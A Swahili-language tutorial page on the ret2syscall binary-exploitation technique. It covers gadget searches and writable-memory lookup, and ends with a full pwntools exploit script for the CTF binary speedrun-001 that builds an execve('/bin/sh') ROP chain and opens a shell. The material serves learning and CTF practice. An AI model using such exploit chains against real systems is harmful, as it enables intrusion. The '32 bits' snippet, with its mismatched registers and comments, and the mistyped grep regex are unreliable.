Ret2syscall

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Basic Information

Hii ni sawa na Ret2lib, hata hivyo, katika kesi hii hatutakuwa tukitumia kazi kutoka kwa maktaba. Katika kesi hii, kila kitu kitakuwa kimeandaliwa kuitisha syscall sys_execve na baadhi ya hoja ili kutekeleza /bin/sh. Mbinu hii kawaida hufanywa kwenye binaries ambazo zimeandikwa kwa njia ya static, hivyo kunaweza kuwa na gadgets nyingi na maagizo ya syscall.

Ili kuandaa wito wa syscall inahitajika usanidi ufuatao:

• rax: 59 Specify sys_execve
• rdi: ptr to "/bin/sh" specify file to execute
• rsi: 0 specify no arguments passed
• rdx: 0 specify no environment variables passed

Hivyo, kimsingi inahitajika kuandika mfuatano wa /bin/sh mahali fulani na kisha kutekeleza syscall (ukijua kuhusu padding inayohitajika kudhibiti stack). Kwa hili, tunahitaji gadget ya kuandika /bin/sh katika eneo lililojulikana.

Register gadgets

Hebu tuanze kwa kutafuta jinsi ya kudhibiti hizo register:

ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
0x0000000000415664 : pop rax ; ret
0x0000000000400686 : pop rdi ; ret
0x00000000004101f3 : pop rsi ; ret
0x00000000004498b5 : pop rdx ; ret

Na hizi anwani inawezekana kuandika maudhui kwenye stack na kuyapakia kwenye register.

Andika mfuatano

Kumbukumbu inayoweza kuandikwa

Kwanza unahitaji kutafuta mahali pa kuandika katika kumbukumbu

gef> vmmap
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x0000000000400000 0x00000000004b6000 0x0000000000000000 r-x /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]

Andika Mstari katika Kumbukumbu

Kisha unahitaji kutafuta njia ya kuandika maudhui yoyote katika anwani hii.

ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx

Automate ROP chain

Amri ifuatayo inaunda mnyororo kamili wa sys_execve ROP ikitolewa kutoka kwa binary ya kudumu wakati kuna vifaa vya kuandika-nini-wapi na maagizo ya syscall:

ROPgadget --binary vuln --ropchain

32 bits

'''
Lets write "/bin/sh" to 0x6b6000

pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''

rop += popRdx           # place value into EAX
rop += "/bin"           # 4 bytes at a time
rop += popRax           # place value into edx
rop += p32(0x6b6000)    # Writable memory
rop += writeGadget   #Address to: mov qword ptr [rax], rdx

rop += popRdx
rop += "//sh"
rop += popRax
rop += p32(0x6b6000 + 4)
rop += writeGadget

64 bits

'''
Lets write "/bin/sh" to 0x6b6000

pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop = ''
rop += popRdx
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
rop += popRax
rop += p64(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx

Kukosa Vifaa

Ikiwa unakosa vifaa, kwa mfano kuandika /bin/sh katika kumbukumbu, unaweza kutumia mbinu ya SROP kudhibiti thamani zote za register (ikiwemo RIP na register za params) kutoka kwenye stack:

{{#ref}} ../srop-sigreturn-oriented-programming/ {{#endref}}

Mfano wa Kutilia Msingi

from pwn import *

target = process('./speedrun-001')
#gdb.attach(target, gdbscript = 'b *0x400bad')

# Establish our ROP Gadgets
popRax = p64(0x415664)
popRdi = p64(0x400686)
popRsi = p64(0x4101f3)
popRdx = p64(0x4498b5)

# 0x000000000048d251 : mov qword ptr [rax], rdx ; ret
writeGadget = p64(0x48d251)

# Our syscall gadget
syscall = p64(0x40129c)

'''
Here is the assembly equivalent for these blocks
write "/bin/sh" to 0x6b6000

pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop = ''
rop += popRdx
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
rop += popRax
rop += p64(0x6b6000)
rop += writeGadget

'''
Prep the four registers with their arguments, and make the syscall

pop rax, 0x3b
pop rdi, 0x6b6000
pop rsi, 0x0
pop rdx, 0x0

syscall
'''

rop += popRax
rop += p64(0x3b)

rop += popRdi
rop += p64(0x6b6000)

rop += popRsi
rop += p64(0)
rop += popRdx
rop += p64(0)

rop += syscall


# Add the padding to the saved return address
payload = "0"*0x408 + rop

# Send the payload, drop to an interactive shell to use our new shell
target.sendline(payload)

target.interactive()

Mifano Mingine & Marejeo

• https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html
• 64 bits, hakuna PIE, nx, andika katika kumbukumbu fulani ROP ili kuita execve na kuruka huko.
• https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html
• 64 bits, nx, hakuna PIE, andika katika kumbukumbu fulani ROP ili kuita execve na kuruka huko. Ili kuandika kwenye stack, kazi inayofanya operesheni za kihesabu inatumika vibaya.
• https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html
• 64 bits, hakuna PIE, nx, BF canary, andika katika kumbukumbu fulani ROP ili kuita execve na kuruka huko.